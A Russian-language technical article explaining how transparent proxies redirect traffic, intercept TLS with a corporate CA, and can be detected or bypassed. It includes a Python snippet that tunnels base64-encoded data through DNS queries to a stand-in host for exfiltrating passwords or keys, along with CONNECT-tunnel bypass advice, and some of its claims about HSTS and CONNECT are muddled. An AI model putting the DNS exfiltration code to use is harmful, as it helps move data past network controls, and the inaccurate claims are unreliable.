- Прозрачные прокси в корпоративной сети: как они ломают SSL и что видит администратор
Содержание
- Прозрачные прокси: цифровой шлагбаум, который читает ваш трафик
- Как это работает на уровне пакетов
- SSL: почему прозрачный прокси ломает HTTPS
- Что именно видит администратор
- Сертификаты и цепочки доверия
- Кейс: банк и мобильное приложение
- Кейс: обход через CONNECT-туннель
- Кейс: DNS-туннелирование как обход
- Ограничения и подводные камни
- Что делать, если вы администратор
- Технические детали для глубокого погружения
- Диагностика: как понять, что вы за прокси
- Итоги
Прозрачные прокси: цифровой шлагбаум, который читает ваш трафик
Прозрачный прокси — это невидимый посредник. Клиент о нём не знает. Настройки браузера не тронуты. Система думает, что общается с сервером напрямую. Но пакеты уходят через железку, которая решает, что пропустить, а что завернуть.
Технически это достигается перехватом трафика на уровне L3-L4. Маршрутизатор или коммутатор с функцией WCCP (Web Cache Communication Protocol) или обычный iptables REDIRECT заворачивают соединения на локальный порт прокси. Клиент даже не подозревает, что его HTTP-запросы проходят через чужой софт.
Как это работает на уровне пакетов
Схема простая. Клиент отправляет SYN на 93.184.216.34:80. Роутер перехватывает пакет, меняет адрес назначения на 10.0.0.1:3128. Прокси принимает соединение, устанавливает своё — уже к реальному серверу. Ответ идёт обратным путём. Для клиента всё выглядит как прямое соединение.
```bash
iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 80 -j REDIRECT --to-port 3128
iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 443 -j REDIRECT --to-port 3128
```
Вот эти две строки — классика жанра. Весь HTTP и HTTPS трафик уходит на прокси. Настройка простая. Последствия — не очень.
SSL: почему прозрачный прокси ломает HTTPS
Тут начинается веселье. Прокси не может прочитать зашифрованный трафик. Он видит только IP назначения и SNI (Server Name Indication) — имя хоста в открытом виде. Чтобы заглянуть внутрь, прокси должен стать MITM (Man In The Middle).
Механика такая: прокси перехватывает TLS ClientHello, подменяет сертификат сервера своим собственным, подписанным корпоративным CA. Клиент проверяет подпись — и если корневой сертификат корпорации установлен в доверенные, соединение устанавливается с прокси. Прокси расшифровывает трафик, читает его, и устанавливает второе TLS-соединение — уже с реальным сервером.
```bash
openssl s_client -connect example.com:443 -servername example.com 2>&1 | openssl x509 -noout -issuer
```
Если в выводе вместо Let's Encrypt или DigiCert вы видите что-то вроде `issuer=C = RU, O = MyCompany CA` — вас читают. Именно так выглядит корпоративный MITM.
Что именно видит администратор
Администратор видит почти всё. URL (кроме параметров GET-запросов, если используется CONNECT), заголовки запросов и ответов, cookies, тело POST-запросов. Пароли — да, тоже. Если сайт использует HSTS (HTTP Strict Transport Security) с preload — прокси получит ошибку, но большинство сайтов не настолько строгие.
Типичная картина в логах Squid:
```bash
172.16.4.12 - - [12/Nov/2024:14:23:11 +0300] "GET https://api.telegram.org/bot123456:ABC-DEF/getMe HTTP/1.1" 200 42 "-" "Python/3.11 aiohttp"
```
Виден IP клиента, полный URL, время, user-agent. Для администратора это золотая жила. Он знает, кто с кем общается, когда и как часто.
Сертификаты и цепочки доверия
Чтобы MITM работал, нужно выполнить три условия. Первое: корпоративный CA должен быть в доверенных на каждом клиенте. Второе: прокси должен генерировать сертификаты на лету. Третье: клиент не должен проверять certificate pinning.
Пример генерации корпоративного CA:
```bash
openssl req -x509 -newkey rsa:4096 -keyout ca.key -out ca.crt -days 3650 -nodes -subj "/C=RU/O=MyCompany/CN=MyCompany Root CA"
```
Потом этот ca.crt раскатывается через групповые политики Windows или MDM на все устройства. И вуаля — прокси может подписывать любые сертификаты для любых доменов.
Кейс: банк и мобильное приложение
Пример из практики. Крупный банк развернул прозрачный прокси на базе Squid с MITM. Всё работало для браузеров. Но мобильное приложение банка перестало открываться — оно использовало certificate pinning. Приложение жёстко проверяло отпечаток сертификата сервера. Подмена не прошла.
Что сделали в итоге: добавили домены банка в исключения прокси. Трафик к ним пошёл напрямую, без перехвата. Некрасиво, но работает. Администратор потерял видимость части трафика. Зато приложение заработало.
Кейс: обход через CONNECT-туннель
Прозрачный прокси умеет обрабатывать метод CONNECT. Браузер отправляет `CONNECT example.com:443 HTTP/1.1`. Прокси устанавливает туннель и дальше просто пересылает байты. Именно так работает HTTPS без MITM.
Но вот хитрость: если прокси не настроен на MITM для конкретного домена, он работает как обычный туннель. Тогда можно завернуть в этот туннель что угодно — хоть SSH, хоть свой протокол.
```bash
curl -x http://proxy.corp.local:3128 -p https://api.telegram.org
```
Флаг `-p` включает CONNECT-туннель. Внутри него — TLS до Telegram. Прокси видит только заголовки CONNECT. Содержимое — нет.
Кейс: DNS-туннелирование как обход
Когда прокси режет всё подряд, в ход идут DNS-запросы. Прокси обычно не перехватывает DNS — он идёт мимо. Поэтому можно заворачивать данные в DNS-запросы.
```python
import dns.resolver
import base64
data = "secret message"
encoded = base64.b64encode(data.encode()).decode().replace("=", "")
query = f"{encoded}.tunnel.example.com"
resolver = dns.resolver.Resolver()
resolver.nameservers = ["8.8.8.8"]
answer = resolver.resolve(query, "TXT")
```
Администратор увидит странные DNS-запросы к `tunnel.example.com`. Но если DNS-серверы фильтруются не строго — данные уйдут. Скорость низкая, но для эксфильтрации пароля или ключа хватит.
Ограничения и подводные камни
Прозрачные прокси хреново работают с QUIC и HTTP/3. Эти протоколы используют UDP, а не TCP. Классический iptables REDIRECT их не ловит. Приходится настраивать TPROXY или вообще отключать QUIC на клиентах.
Ещё одна боль — WebSocket. Долгоживущие соединения через прокси работают, но с таймаутами. Если сервер не шлёт данные 5 минут, прокси может оборвать соединение. Веб-разработчики это ненавидят.
WebSocket через прокси требует настройки:
```nginx
location /ws/ {
proxy_pass http://backend;
proxy_http_version 1.1;
proxy_set_header Upgrade \$http_upgrade;
proxy_set_header Connection "upgrade";
proxy_read_timeout 3600s;
}
```
Без этого — соединение рвётся каждые 60 секунд.
Что делать, если вы администратор
Если ваша задача — контроль трафика, используйте прозрачный прокси с умом. Не перехватывайте всё подряд. Исключите критичные домены: банки, госуслуги, мессенджеры. Настройте HSTS-aware обработку.
Если ваша задача — обойти прокси, помните: любой перехват можно обнаружить. Сравнивайте сертификаты, проверяйте цепочки доверия, используйте VPN поверх HTTPS. Прокси — это не стена, а забор. Через него можно перелезть.
Помните про lexic.ml — там есть полезные материалы по IPv6 и прокси, которые пригодятся при настройке обходных путей.
Технические детали для глубокого погружения
MTU и MSS — вот что часто ломает прозрачные прокси. Когда пакет заворачивается на прокси, MSS (Maximum Segment Size) может не совпадать. TCP-соединение устанавливается с MSS 1460, а прокси добавляет свои заголовки — и пакет становится больше MTU.
Решение — подстройка MSS:
```bash
iptables -t mangle -A FORWARD -p tcp --tcp-flags SYN,RST SYN -j TCPMSS --clamp-mss-to-pmtu
```
Без этой строки — фрагментация, потеря пакетов, тормоза. С ней — всё летает.
Диагностика: как понять, что вы за прокси
Проверка простая. Сравните сертификат сайта с ожидаемым:
```bash
echo | openssl s_client -connect google.com:443 -servername google.com 2>/dev/null | openssl x509 -noout -subject -issuer -dates
```
Если issuer не совпадает с ожидаемым — вы за прокси. Если соединение устанавливается, но сертификат выдан неизвестным CA — тоже.
Можно ещё проверить заголовки ответа. Некоторые прокси добавляют свои заголовки:
```bash
curl -I https://example.com
```
Смотрите на `Via`, `X-Cache`, `X-Proxy` — их наличие выдаёт прокси с головой.
Итоги
Прозрачный прокси — мощный инструмент. Он даёт администратору полную картину сети. Но он же создаёт проблемы: ломает приложения с certificate pinning, режет WebSocket, конфликтует с QUIC. Использовать его нужно точечно, с пониманием архитектуры. И помнить: полностью скрыть перехват невозможно. Всегда есть следы — в сертификатах, заголовках, поведении соединений.